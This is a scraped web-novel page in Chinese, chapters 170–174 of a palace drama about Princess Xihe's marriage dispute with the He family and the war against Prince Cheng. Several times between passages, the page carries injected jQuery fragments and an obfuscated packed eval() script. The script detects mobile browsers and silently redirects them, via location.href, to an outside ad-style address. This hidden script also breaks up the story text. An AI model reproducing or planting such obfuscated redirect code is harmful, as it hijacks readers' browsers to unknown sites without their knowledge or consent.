() { $(''.inform'').remove(); $(''#content'').append('' 我记下,就不会忘了。今年一定都能让你们成亲。不过有个事,需要你帮帮忙,你是他们几个里最聪明的。春喜和青山的事,你肯定知道了,春喜那丫头嘴上说不在意了,实际上心里失落着。你去试探下青山,看看他会不会有点想法,实在没有就算了。” 司砚应了好,“您放心,这个事我肯定悄悄办好。” 不用叶婉宁特意交代,司砚就知道怎么办事。 等司砚走后,云芝不解道,“青山那么笨,您怎么还想撮合他和春喜?” “原本我想着,青山不解风情,确实气人。但是我看了司砚他们几个,又发觉青山也有青山的好,他是没趣了一点,但这样的人,也不会生出花花肠子,和他过日子,只需要你点明了,就能安心踏实。但扭扭捏捏不肯直说,只会把自己憋一肚子气。而春喜呢,她在农家长大,性格也比你泼辣一点,其实适合青山。试一试嘛,不成就算了。”叶婉宁深思熟虑过,觉得还不错,才会让司砚去想办法。 她知道司砚聪明,不然谢泊淮也不会让司砚入仕,而留下青山和折竹。 和谢泊淮相处的这段日子,她能看出一点,谢泊淮每一个安排,都不仅仅满足在满足当下,都是放了长远目光的。 国丧半年,不得婚嫁办喜事,故而司砚几个的事还早,叶婉宁则是把心思放在乐哥儿上。 乐哥儿跟着余庆生读书,连着两个月,人端正了许多,也瘦了一些。 日子就这么平淡地过,直到何家那传来消息,说羲和公主不敬长辈,竟然打了婆母。 事情一出,京城里的流言沸沸扬扬,更牵扯到皇上的皇位是怎么来的。 叶婉宁收到宫里的旨意,皇后娘娘让她进宫看看羲和公主。 外边流言四起,她也担心羲和公主,接了旨意就跟着内侍进宫去。 第170章 朋友 坤宁宫外,跪着何锦明,叶婉宁匆匆瞥了一眼,便进大殿去。 “臣妇拜见皇后娘娘。 “别行礼了,你去看看羲和,她从回来后,就一直哭,问她什么都不肯说。皇后也是没有办法,当初想着何家兄弟少,人口简单一些,才安心把女儿嫁过去,不曾想后面会生出那么多事端。 叶婉宁回头看了眼殿门口,跟着嬷嬷去找了羲和公主。 “都给我滚,我谁也不见,我就是要和离! 门刚打开,一个瓷瓶丢了出来,要不是叶婉宁躲得快,就要砸到她身上。 看到是叶婉宁,羲和公主愣了下,有些愧疚,但还是转头道,“你来也没用,我说和离就是要和离!不是说公主很威风,怎么我当了公主,就要受这个窝囊气? 叶婉宁让嬷嬷们清扫了碎瓷片,进去前关了门,给羲和公主倒了茶,“正因为你是公主,和离就更该找何家原因。我是相信你的,你是直率了一些,但不可能无缘无故打婆母。 “呜呜婉宁,还是你好,只有你相信我。我不过是不想和她争论,打算离开时,她自己来拽我摔了,便说是我打的。那个何锦明更不是个好东西,不由分说指责我。羲和公主扑在叶婉宁怀里,大哭不止。 “好好的,怎么吵了起来?叶婉宁问。 “那老妇说让我也调理下身子,我说宫里的御医都给我看了,我身子好得很,谁的问题让谁调理去。她就不依不饶,说我顶撞她,还说指不定就是我的问题。我不想和她争论,这才打算离开。 羲和公主气得很,当即和何锦明吵了起来, 她不是个好脾气,不好对婆母动手,但自个儿屋里,又砸又摔,动静大得院子里的人都听到了。 本来她还是自己在屋里生闷气,结果第二天何家姑太太们回来,还有一些长辈,一个个都要说她不是。 她憋着一口气跑回来,皇后娘娘看她臭着脸,问是不是她又在何家惹事,她更郁闷了,便不肯和皇后娘娘说怎么回事。 叶婉宁听明白了,却有好些疑问,“你不是说,从皇上登基后,何家对你态度缓和许多,怎么何夫人又挑你的不是? “我哪里知道啊,她就是个黑心泼妇,想一出是一出,谁知道她怎么想?羲和公主想不明白,她只觉得气愤。 这时有宫女过来,说驸马爷被皇后 娘娘请进大殿,想给羲和公主道歉,“殿下,驸马爷说千错万错都是他的错,夫妻之间没有隔夜的仇,让您出去见见。” “我不见,我才不见他!”羲和公主用力拉开门,“让他麻溜滚蛋,我是不见的。你去告诉他,我与他和离定了!” 宫女很是为难,转而看向叶婉宁。 叶婉宁过来道,“你先别冲动,和离非同小可。特别是现在朝堂不稳,你也知道的,若是你有个不好名声,也会影响皇上和太子。既然你说自己没动手,也不想蒙冤吧?” “自然不想。” “那就把事情先查清楚。” “可是那老妇一口咬定是我打的,当时屋里也只有她和我身边的丫鬟,我的丫鬟作证没人信,她的人更不会替我说话,如何能查清楚?”羲和公主想不到办法,她以前忍太多了,现在气上心口,只想着离开何家。 叶婉宁觉得有些古怪,她安抚羲和公主一会儿,羲和公主累了,趴在椅子上不说话,她先去找了皇后娘娘。 这会儿何锦明已经被安排去偏殿上药,毕竟跪了两个时辰,膝盖都淤青了。 “羲和怎么说?”皇后问。 叶婉宁转述了经过,“臣妇相信殿下不会撒谎,既然如此,便很奇怪了。您想,殿下是您和皇上的金枝玉叶,何家前段时间还捧着,何夫人怎么会突然刁难起来?” 皇后听着皱眉,“确实让人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170519|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪,驸马说,他不愿意和离,若是羲和与他母亲实在处不来,他愿意和羲和住公主府去,平日两边跑就是。” 听到这话时,皇后是心动了的,觉得这个提议不错。 “搬去公主府,病根还在那里,殿下并不会过得开心。”叶婉宁心里是支持羲和公主和离,“而且现在京城传开了,都说殿下跋扈不孝,这个名声要是坐实了,对殿下和您都不好。不论以后如何,得想办法把这个名声撇了。” “那你说?” “皇后娘娘,何夫人的态度会突然转变,必然是有事发生,只是我们不知道而已。何家想要维系这段婚姻,同时也知道皇家不会轻易让殿下和离,故意激怒殿下犯错,想来是要和你们谈筹码。这个筹码,应该是对何家比较重要的东西。”叶婉宁分析道。 皇后听得豁然开然,“确实,本宫是关心则乱,一时间没想到那么多,还得是你玲珑心肠。你帮本宫安抚好羲和,本宫会派人去调查,他何家有胆子算计羲和,本宫不会让他们好过。” 这一晚,叶婉宁就住在了宫里。 傍晚太子过来时,提着羲和公主喜欢吃的樊楼点心,看到叶婉宁也在,让叶婉宁一块吃,“莫要再哭闹了,好歹是公主,被人笑话了去。” “是何家不讲道理,又不是我!”羲和很不服气,“皇兄你要是说这个就走吧,我这里不需要你来说教!” “你!哎,罢了。”太子叹了口气,转而去看叶婉宁,“羲和不懂事,辛苦叶大姑娘了,我已经派人去谢府,免得谢大人担心。” 叶婉宁说没事,作为朋友,她确实该出一分力。 等太子走后,羲和公主哼了哼,“我这个哥哥,本来就啰嗦,当了太子后,更爱唠叨了。我现在看到他就头疼,婉宁,还是你最好了。如今我身边贴心的,只有你了。” 顿了顿,羲和鼻头抽了抽,小声道,“我想宁安了。” 第171章 爱自己 从宁安郡主去和亲后,叶婉宁再没有宁安郡主的消息。 而且宁安郡主一家子,都是不能再提到人物。 羲和公主是在怀念以前,还没有出嫁,每次都会和宁安拌嘴,现在想来,却是不能再回去的过往。 叶婉宁叹息道,“人没扭转乾坤的能力,往后看吧殿下。” 夜幕降临,宫里的夜晚静得很。 叶婉宁睡不着,边上的羲和公主倒是睡下了。 此时的何家,何锦明垂着头,他肤色偏白,没什么血气,“皇后娘娘让儿子先回来,说让殿下在宫里住几天,还有外边的流言蜚语,何家若是不制止,最后影响的还会是何家。” “她还要闹?”何夫人坐在床上,脸颊肿了一块,“你都去求她了,她还是不知好歹,明明是自己不能生养,伙同御医来欺骗我们,说是你的问题。” 何堂玉瞪了夫人一眼,“够了,你别说这些没用的话,咱们家不能与公主和离。锦明,不管怎么样,你都要把殿下哄回来。外边的流言也可以停了,闹到这里差不多,等去接人的时候,我们也把瑶娘接回来,她如今有了身孕,需要给她一个名分。”何堂玉就一个嫡子,早就盼着嫡子开枝散叶,现在看到了希望,才容许何夫人和羲和公主闹。 何夫人门牙是自己打断的,她下了狠心,才这么做。 只有拿捏到羲和公主的错处,才能保下这桩婚事,不然羲和公主知道何锦明养了外室,那不得闹到天翻地覆? 何家想要公主儿媳,也想要外室的孩子,何夫人才想出这么个主意。 现在羲和公主回了宫里,外边人说起来,只会说羲和公主不敬婆母,又不懂规矩。仗着自己是公主,就目中无人。说起何家时,只有同情和叹气。 何夫人的嘴疼得睡不着,但还是要说话,“确实要给瑶娘一个名分,咱们何家的孩子,得上族谱。羲和那个泼妇,还说是锦明不能生,我差点就信了。咱们家锦明的身子是弱了点,但也是个男人,现在不就有孩子了?” 说到这个,一家三口都露出期待的神情。 何堂玉有担忧过,他们何家,从他祖父那一辈起,人丁单薄,若是儿子不行,想要过继个孩子都很难。若是从此绝后,他如何面对列祖列宗? 现在瑶娘有了孩子,不管是儿子,还是女儿,都是可以的。 当然了,最好是能一举得男。 何锦明说明日再进宫去。 何堂玉道,“嗯,瑶娘那里你不用操心,我和你母亲会安排好,至于宫里, 你态度温和一些。就算殿下以后都住在公主府也可以,咱们明面上维系好这段婚事就行。” 他们想的是,羲和公主去住公主府,另外在家里给何锦明安排几个妾室,这样羲和公主也管不到妾室。孩子出生后由何夫人抚养,也不用和羲和公主亲近。等孩子们记事了,再让羲和公主领养去,到时候既能有好出身,又和他们亲近。 何家这里商量好后,次日一早,何锦明又去了坤宁宫。 何堂玉则是被皇上叫了去,见到皇上时,何堂玉只说儿子不好,没有伺候好公主,倒是让皇上没话可说,也就作罢。 另一边,羲和公主还是没见何锦明。 叶婉宁倒是见到了何锦明,她打了个招呼,准备走的时候,何锦明叫住了她。 “驸马爷,有什么事吗?” “我对殿下思念得很,但殿下对我有误会。我既要尽孝道,又要顾及和殿下的夫妻情分,左右为难,也很不容易,希望谢夫人能帮我送封信,好吗?”何锦明诚恳地看着叶婉宁。他觉得这只是一个小事,叶婉宁肯定会答应。 叶婉宁却道,“这几日皇宫,我若是拿了你的信件,被有心人利用就不好了。既然驸马爷一心牵挂殿下,不如让皇后娘娘转交,她肯定会帮你。” “可是……” “我还有事,先告辞了。”叶婉宁知道宫里处处都是眼睛,她可不能帮何锦明。 就像她说的一样,只要何锦明去找皇后,皇后一定会帮忙转交。因为转交一封信件而已,皇后不至于拦着。可是何锦明找到自己帮忙,叶婉宁就觉得不靠谱。 她得谨慎再谨慎,才能在宫里平安待着。 回到羲和公主身边时,叶婉宁说了这个事。 羲和听了只是愣了下,张嘴想骂两句,又伏在桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170520|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上不动了。 等叶婉宁凑过去时,看到羲和公主在流眼泪。 “刚成亲那会,我对何锦明也是上心的。少年慕艾,他对我又温柔,我觉得我比宁安好命多了,至少有个相处不错的夫君,还能留在京城。婉宁你知道吗,最开始我说喜欢樊楼的点心,他下大雨也会去给我买。”羲和公主说着笑了起来,“可是后来随着孩子的问题出现,他虽不和我大吵大闹,却没有以前的耐心了。” 叶婉宁默默听着,这会她也插不上话。 “后来我还是没有怀孕,我婆母悄悄地安排何锦明与丫鬟欢好,那时候母后让我忍一忍,说有个庶子也好,我没那么大压力,说不定就会有自己的孩子。可是我好伤心,难过到我一个月都 吃不下什么东西。我慢慢地不喜欢何锦明了,我只想要一个孩子,但是这个都无法满足我。”羲和公主也有细腻的一面,她说着坐了起来,擦去脸上的眼泪,“婉宁,我是不是变了?” “没有,您还是和以前一样好。”叶婉宁拉住羲和公主的手,“不要想那么多,天底下男人大差不差,没几个好的。把一辈子希望寄托在男人身上,最后都会落空。咱们要爱自己,学会对自己好,万事都以自己的想法为主。” “呜呜,还是你最懂我了。”羲和公主抱住了叶婉宁,“如果是其他人,一定会说男人都是三妻四妾,让我不要小心眼。” 外边开始下雨,叶婉宁拍着羲和公主的背,一边在想,皇后娘娘派出去的人查得怎么样了,若是查不清楚,她是不是应该让谢泊淮去查一下? 再等等。 若是今天还没消息,她就去找谢泊淮。 心里有了想法,叶婉宁拉着羲和公主到长廊下看下雨,春日多雨,这时候不好出门,却也能让人静下来。 两个人坐在长廊下,宫女们准备了烤炉,叶婉宁和羲和公主一起烤肉吃,日子便过得快一些。 又是一日过去,皇后还没有找叶婉宁,故而用过早膳后,叶婉宁准备去找谢泊淮。 等她刚出坤宁宫,皇后娘娘身边的嬷嬷就找了过来,“谢夫人,皇后娘娘请您过去一趟,说是派出去的探子回来了。” 第172章 脱离苦海 内殿里,只有皇后娘娘的心腹在。 此时皇后娘娘的脸色极差,她边上的宫女替她转述,“谢夫人,都查到了,说是驸马爷养的外室有孕了。何家弄这么一出,应该是想让我们接纳那个外室。” “外室?”叶婉宁没听说过这个。 “是啊。”皇后道,“本宫没想到,何锦明胆子那么大,竟然敢养外室。之前他在府里和丫鬟好就算了,毕竟羲和没有一男半女,结果养了个外室,还是花楼里唱曲的。现在看来,何锦明母亲的门牙,也是她自己撞的。世人都知道羲和脾气不好,他们坏了羲和的名声,想着皇上为了维护名声和巩固朝堂,一定会和何家示好,到时候何家提出纳妾,皇上和本宫肯定会答应。” 叶婉宁明白了,“和我想的,匹配上了。” “如果何家真要纳妾,本宫也不会拦着,但是何锦明养乐妓当外室,何家还敢污蔑羲和,这个事本宫忍不了。婉宁,你最是聪慧,你说这个事怎么办?”皇后娘娘看向叶婉宁。 叶婉宁低头沉思。 “目的呢,肯定是让世人知道何驸马养外室,再揭发何夫人故意陷害殿下。您如果直接派人,百姓和朝臣们不会服气,需要证据。外室好解决,孩子就在她肚子里,跑不掉。最难的是,如何让何夫人身边的人出来指认。”叶婉宁道。 “确实,你说得在理。”皇后问叶婉宁有没有什么办法。 “威逼利诱,总有一个是可以的,是人就有软肋。”叶婉宁道。 皇后瞬间了然,“谢泊淮能有这么一位聪慧的夫人,真是他的福气。” 叶婉宁抿唇笑着,既然事情有了眉目,叶婉宁便出宫去了。 到宫门口,正好看到青山,她便等谢泊淮一起回去。 谢泊淮是踩着夕阳的余晖出来,上了马车,他还没说话,叶婉宁先说了这几日在宫里的事。 “要我说,何家是剑走偏锋了,没必要这样,把他们自己逼上绝路。”叶婉宁道,“就是不知道,何夫人身边那些人嘴巴如何,若是被发现了,事情又不好解决。” “你很想帮羲和公主?”谢泊淮问。 叶婉宁说是。 “何夫人信奉神明,与其让她发现身边人不对劲,倒不如让她自己说。”谢泊淮凑了过去,气息扑在叶婉宁的脸颊上,痒痒的。 叶婉宁眼睛瞬间亮了,回去后就派人给宫里送信。 她给了法子,后边的事,自有皇后娘娘去安排。 事实上,也如谢泊淮说的一样,等何夫人好一 点后,就去庙里上香。 世家夫人上香,会提前和庙里打好招呼,有自己的一块地方。 等何夫人上香时,再请人弄点装神弄鬼的把戏,何夫人以为是神明显灵有,也就说出实情。 正好佛像后面帮着主持和皇后的人,听到何夫人这话,直接把人带到宫里去。 何夫人哪里想到会是假的神明显灵,得知事情败露,被带到坤宁宫时,都吓尿了。 “王氏,你可知罪?”皇后坐在堂上,恨不得立刻刮了何夫人。 何夫人自知无法挽回,跪着磕头,“求皇后娘娘饶命,臣妇只是一时没想通,求求您了。” “放过你?你可知道,因为你这个破事,影响了皇家的名声?羲和更是被人议论,你以为本宫会轻易放过你吗?”皇后已经让人去带何锦明父子,还请了皇上。 说话间,皇上也到了。 看到皇上,何夫人赶忙申明,“是臣妇自己的主意,臣妇该死,此事和何家其他人没有任何关系。” 到了这会,何夫人保全不了自己,只能把所有责任揽在自己身上。 皇上冷声道,“你们何家胆大妄为,真以为能瞒天过海?你儿子那个外室有孕了,朕已经把人抓起来了,你知道她怎么说的吗?” 何夫人愣住不敢回话。 “她说腹中孩子并不是何锦明的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170521|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇上要气笑了,“何锦明自己身子骨不行,你们家却处处刁难羲和。王氏,你太枉为人母了!” 皇后还是刚知道这个事,转头看过去时,皇上点头示意是真的。 而何夫人听到瑶娘腹中孩子是别人的,脑中“轰轰”地想,她无法接受这个结果。她可以死,但她儿子不能不行啊! 很快何锦明父子也被带了进来,何锦明得知瑶娘给他戴绿帽子,瞬间跪坐在地上,“怎么会这样?” 他们一家子,为了这个孩子,不惜冒险设计公主 结果和他说这个? 皇上:“何锦明,你这是聪明反被聪明误,朕对你太失望了。” 皇后觉得这是报应,本来养个外室,就算是皇家,也不能奈何何锦明,最多去母留子。结果何家胆大包天,竟然敢算计公主的名声,这就无法容忍了。 何堂玉还想求情,皇上却不想听他们一家子说废话。 “王氏心思恶毒,三日后午门斩首,何家父子革职,流放巴蜀,永世不得回京。至于这桩婚事,也就此作罢,往后婚嫁各不相干!”皇上下了旨意,就让人带走何家人。 “皇上,老臣并不知情啊!”何堂玉还想狡辩。 皇上和皇后本就憋着气,他们宠爱羲和,让羲和一忍再忍,已经是极限,结果何家这般算计,再没有放过何家的可能。 而何锦明被拖到门口后,突然大笑起来。 丢了官职,还要被流放,到头来孩子也不是他的。 何锦明像得了失心疯一样,大笑不止。 这个消息,很快整个京城都知道,有庙里的僧人作证,百姓们也就相信是何家在作妖,毕竟出家人不打妄语。 当天下午,叶婉宁也听说了这个事,默默地替羲和公主松了口气,算是脱离何家这个苦海。贵为公主,羲和公主不用担心以后的婚嫁,多的是人等着求娶。 同一天里,前线传来战报,说贤王被暗杀,成王带兵继续北上。 第173章 “婉宁。” 谢泊淮深夜才回来,叶婉宁迷迷糊糊中,听到有推门声,长久地谨慎,让她瞬间惊醒坐起来。 “是我。” 谢泊淮嗓音暗哑。 屋内黑漆漆一片,只有朦胧的一个身影,但听到是谢泊淮的身影,叶婉宁才敢大口喘气。 “现在几更天了?”叶婉宁感觉已经很迟了。 “已过丑时。”谢泊淮拿了件内裳,并不打算躺下,“你继续睡吧,我去换一件衣裳,待会睡在书房。”再过一个时辰,他又要起来。 “书房那没准备被褥,你还是睡这里吧,这会云芝她们也睡了。等你起来时,我也起来。”叶婉宁这会没什么睡意,被吓了一下,清醒了许多。 谢泊淮顿了顿,说了句好。 夜里没有热水,他随便冲洗一下,回来的时候,看到屋内亮了灯。 叶婉宁从厨房拿来一盘子点心,“这时候生火来不及了,你忙了那么久,应该饿了。” 谢泊淮看着桌上的点心,心头微暖。以前他身边只有青山几个,他们没那么贴心的时候,大家回来得再迟,有时候不洗就睡了,反正第二天又要弄出一身汗。 这会儿有热茶,还有点心,谢泊淮拿了一块点心,一口吃了。 叶婉宁坐在一旁,说到贤王战死的消息,“你今天那么迟回来,就是为了这个事?” “嗯,贤王暗中联络成王,两人想要合作。皇上不想再以谋逆的罪名动贤王,不然后世传起来不好听,到时候落个不容兄弟的名声。所以皇上送了贤王一个好名声,战死沙场,这是莫大的荣誉,还能嫁祸给成王,引起世人的公愤。”其实这是谢泊淮出的主意,“贤王战死,他的嫡子得到封赏,只要是个聪明点的,都知道在这时候表忠心,保全整个贤王府。” 叶婉宁听明白了,“皇上的几个兄弟,死的死,被贬斥的也远远打发了,如果京城里一个都没有,确实会影响名声。留个空架子的贤王府,当花瓶给摆着,只要贤王世子不动歪心思,一辈子荣华富贵是有的。这倒是个好计谋,比赶尽杀绝要好上许多。毕竟没了主心骨,贤王世子以后也不可能掌控实权,生不出太大的祸端。” “正是这个理。”谢泊淮吃饱了,打了个哈切。 两人吹了灯,躺下后,谢泊淮突然唤了句,“婉宁。” “嗯?” 过了一会,叶婉宁都没等到谢泊淮说话,又问了句,“大人要说什么?” “再过些日子吧,等太平些。”谢泊淮是真的累了,躺下后,很快就睡着。 而叶婉宁没了睡意,听着身边均匀的呼吸声,虽然看不清黑暗中的谢泊淮,但她还是侧过身子,看着谢泊淮模糊的轮廓。 谢泊淮五官生得很优越,尽管在坏名声的加持下,还是有不少人喜欢。 叶婉宁想着谢泊淮这个人,伸出的手又放下,睡吧,明儿肯定会醒得很早。 与此同时的成王营帐,灯火通明,成王得知贤王的死讯,一夜没睡。 “皇上派五哥出征时,就没想过让他活着回去。以前看着与世无争,实际上的手段阴险狠辣,竟然嫁祸于我!”成王的眼睛布满了红血丝,“我就说这两个月,怎么不见五哥的队伍急于进攻,原来是等着这一天,好让我彻底身败名裂,再好行正义之道来歼灭我。” 离他最近的吴勇皱紧眉头,“管他什么嫁祸,咱们一路北上,拿下京城后,成王败寇,史书还不是由我们来写?” “不一样,完全不一样了。”成王深吸一口气,却还是缓不过来,“原本是我质疑遗诏的真实性,还算是有个由头。现在是我派人假装和五哥谈和,却暗中杀了五哥,在百姓眼中不一样了。” 吴勇没听明白,“可贤王不是您杀的,和咱们毫无关系啊!” “有没有关系重要吗?”谋士周义插话道,“皇上制造出这个结果,让所有人都以为是王爷不择手段,残害手足。在此之前,皇上还一直打着仁义口号,劝我们投降,免得打战后死伤无数。现在的局面就是,皇上本不想打战,奈何我们只想夺取皇位,丝毫不顾及兄弟之情,也不在意百姓的死活。没了民心,往后我们又如何号召更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170522|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多人追随?” 吴勇越听越气,“难道世人没有明辨是非的能力?” “如何辨别呢?他们是看到贤王怎么死,还是有人给我们作证,并且广而告之?”周义摇了摇头,“都没有,一个都没有。于民心上,我们落了下风,皇上必定会让更勇猛的人发起总攻。” 周义一直跟随成王,是成王心腹里最有脑子的,他这一番话,让成王听得更愁眉不展。 吴勇问怎么办。 周义看向成王,“要想成功,还是得以民心为重。现如今的局面,我们再想北上,赢面很小。倒不如讲和。” 成王:“讲和?” 吴勇说怎么可能,“皇上恨不得拿我们人头祭天,如何愿意讲和?就算讲和,皇上先给王爷一块封地,但迟早有一天,皇上还是会灭口,他不可能对我们放心。” “我说的讲和,并不是封王,而是在我们现有的地盘自立为王。”周义看向主子道,“既然北上的赢面小,倒不如先蛰伏下来。皇上不是打着仁义的名号么,既然他那么讲仁义,应该不愿意再劳民伤财,那我们提出休战,他就要顾及名声。如果他还非要带兵攻打我们,我们可以造势说他才是不择手段那个,看似仁义,骨子里却冷血漠视。” 成王听明白了,“就算是现在答应了,二哥还是会想我死的。” “所以我们要趁这段时间,笼络更多的势力,联络其他国家,到时候一起出兵京城,才能稳稳地拿下京城。”周义道。 成王听了,觉得很有道理,“还得是你脑子好用,如果我继续北上,确实于名声不好。但我同样可以传播流言,引起百姓们的疑惑,到时候看看,最讲仁义的二哥,还能不能继续以仁义的名号来出兵。” 说着,成王看向吴勇,“这段时间,还得继续麻烦将军练兵,咱们先养足兵力,迟早要和二哥的人决一死战!” “好,都听王爷的!”吴勇道。 次日成王就派人去前线讲和,打算就此休战,消息传到京城时,已经是两天后。 第一时间,皇上召见了谢泊淮。 第174章 两全难齐美 仁政殿里,大臣们吵得不可开交。 “讲和?这会不清剿逆王,真以为他会老实? “就是,逆王想分割国土,做他的春秋大梦。咱们圣上是得先帝遗愿继承大统,逆王是乱臣贼子,自然是要杀他个鸡犬不留! “可是如此一来,劳命伤财,皇上的名声该如何安排? “皇上是奉天地祖宗之命清剿逆王,若是不收复山河,这才是无法与祖宗交代。打战总要死人,一些小牺牲,换来我朝的千秋大业,也是值得的,不用管天下人怎么说。 这时太子道,“自古以来,都是得民心者得天下,如果强行开战,怕是天下不稳。但逆王还在,朝堂就不可能稳固,还是要一个两全的办法。 太子的意思很明确,成王必须死,但也得保住皇上仁君的名声。 可是两全其美哪里有那么容易,大臣们商议了好半天,都没个法子,正好这时谢泊淮到了。 众人看到谢泊淮,有些人目光里有了期待,在他们看来,谢泊淮是无所不能的。也有人悄悄鄙夷,觉得谢泊淮杀伐果断,必然支持继续出兵清剿逆王。 “微臣参见皇上。谢泊淮行礼问安。 “爱卿快起来,朕头疼得很,对于逆王讲和的事,你觉得该怎么办?皇上殷切地看着谢泊淮,希望谢泊淮能想出好办法来。先帝刚驾崩,朝堂并不稳固,若是他坐稳了皇位,也就不用顾及那么多,直接出兵就是。奈何朝臣们心思不一,皇位太难坐稳。 先帝还在的时候,皇上是最低调的一个,他没有拉拢朝臣,也没有大力培养自己的势力。 以至于现在登基后,朝堂上没几个自己的心腹,要么是其他皇子留下的人,要么就是一些中立派。 谁可以用,谁需要替换,都还在摸索中。 故而这个时候,皇上就要拿出真本事来,让左右摇摆的人坚定选择,也要解决一些心头大患,更要培养出能用的人才。 而谢泊淮,是先帝留下来的人,对于谢泊淮的才干,皇上是相信的。这时候继续用谢泊淮,是皇上对先帝的尊重,也可以在此期间,用谢泊淮镇压朝臣。等培养出自己的心腹后,再说其他。 “微臣觉得,逆王不剿,京城一天不能安稳。 听到这话,皇上的眼神中闪过一抹失望。 这时太子道,“逆王妃母女还在京城,不如以她们为质,逼迫逆王臣服。若是逆王不归顺,也会影响他的 名声。” “太子殿下觉得,已经被抛弃的人,还会被选择吗?”谢泊淮声音淡淡的,“而且我们利用妇孺上前线,更会影响皇上的名声。咱们既然宣扬是逆王暗中杀害贤王,有这个名号,就可以拒绝讲和。讲仁义,那也是在天下统一后的事。若是事事两全其美,天底下就没有难事了。” 皇上问,“真要如此吗?” “微臣只是行臣子本分,从长远考虑,还是一次性地清剿逆王才好。”谢泊淮道。 其他大臣听到这话,之前就是这个观点的,纷纷跪下请命。 至于其他人,碍于谢泊淮在,也不敢多说话了。 很显然,大家比起皇上,更怕谢泊淮。 事情定下后,皇上只好下旨让陆丰年带兵清剿逆王,谢泊淮走出仁政殿后,和太子一同出宫。 其他大臣走在后头,离两人有一段距离,有人小声道,“先帝看重谢泊淮,没想到皇上也事事听谢泊淮的,若是朝政一直把控在谢泊淮手中,我们这些人就不好过了。” 他们都是朝中重臣,可他们争论了半天,皇上都拿不定主意。结果谢泊淮一来,说的还不能两全的办法,皇上还是附和了谢泊淮说的,可见皇上多看重谢泊淮。 这对他们,并不是好事。 以前就被谢泊淮压着,谁都不想再继续。 “谁说不是,你们看,连太子都对谢泊淮很亲近。咱们一块从仁政殿出来,太子只和谢泊淮说话,咱们这些人啊,都排到了后头。” 也有冷哼的,“我反而不信皇上和太子真的看重谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170523|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泊淮,不过是没有办法的事,毕竟朝政都把控在谢泊淮手中。等着瞧吧,等皇上自己有人用了,第一个开刀的就是谢泊淮。” “这话可是你说的,我可不附和。”有怕死的,特别怕这个话传到谢泊淮耳朵里,到时候怎么死都不知道。 “我说就我说,有什么好怕,我不做亏心事,难不成谢泊淮还能嫁祸于我?”说话的是周尚书,他和周义是远亲关系,因为这个事,最近这几个月,他处处被限制,早就憋了一肚子火。 没人附和他的话,他干脆自己走快点,不想再听其他人啰嗦。在这里说七说八,有本事真的和谢泊淮较量起来,那才是真汉子。 等周尚书走了,其他人互相看看,默契地不再讨论,不然被人听了去,他们全都吃不了兜着走。 此时的谢泊淮已经到了宫门口,太子邀约谢泊淮上门喝茶,谢泊淮婉拒了,“近日公务太繁忙,多谢太子殿下好意了。” “也是,你是最忙的,我与父皇都得仰仗你的本事,实在是辛苦你了。”太子笑容和煦,“马上要开始农耕,希望这场战事快点结束,不然到了年底,百姓们的日子不好过。” 错过农耕,秋收就达不到预期,等天冷了后,便会发生动乱。 太子操心农耕,谢泊淮也要为此上心,两人分开后,谢泊淮回到府衙,正好司砚找了过来。 “去年淮河一带发生洪涝,正好冲积出一片平原,当地官员带人开垦,准备租赁给百姓们耕种,来增加产量,您看看,有没有不妥的。”司砚把折子递了过去。 谢泊淮打开看了起来。 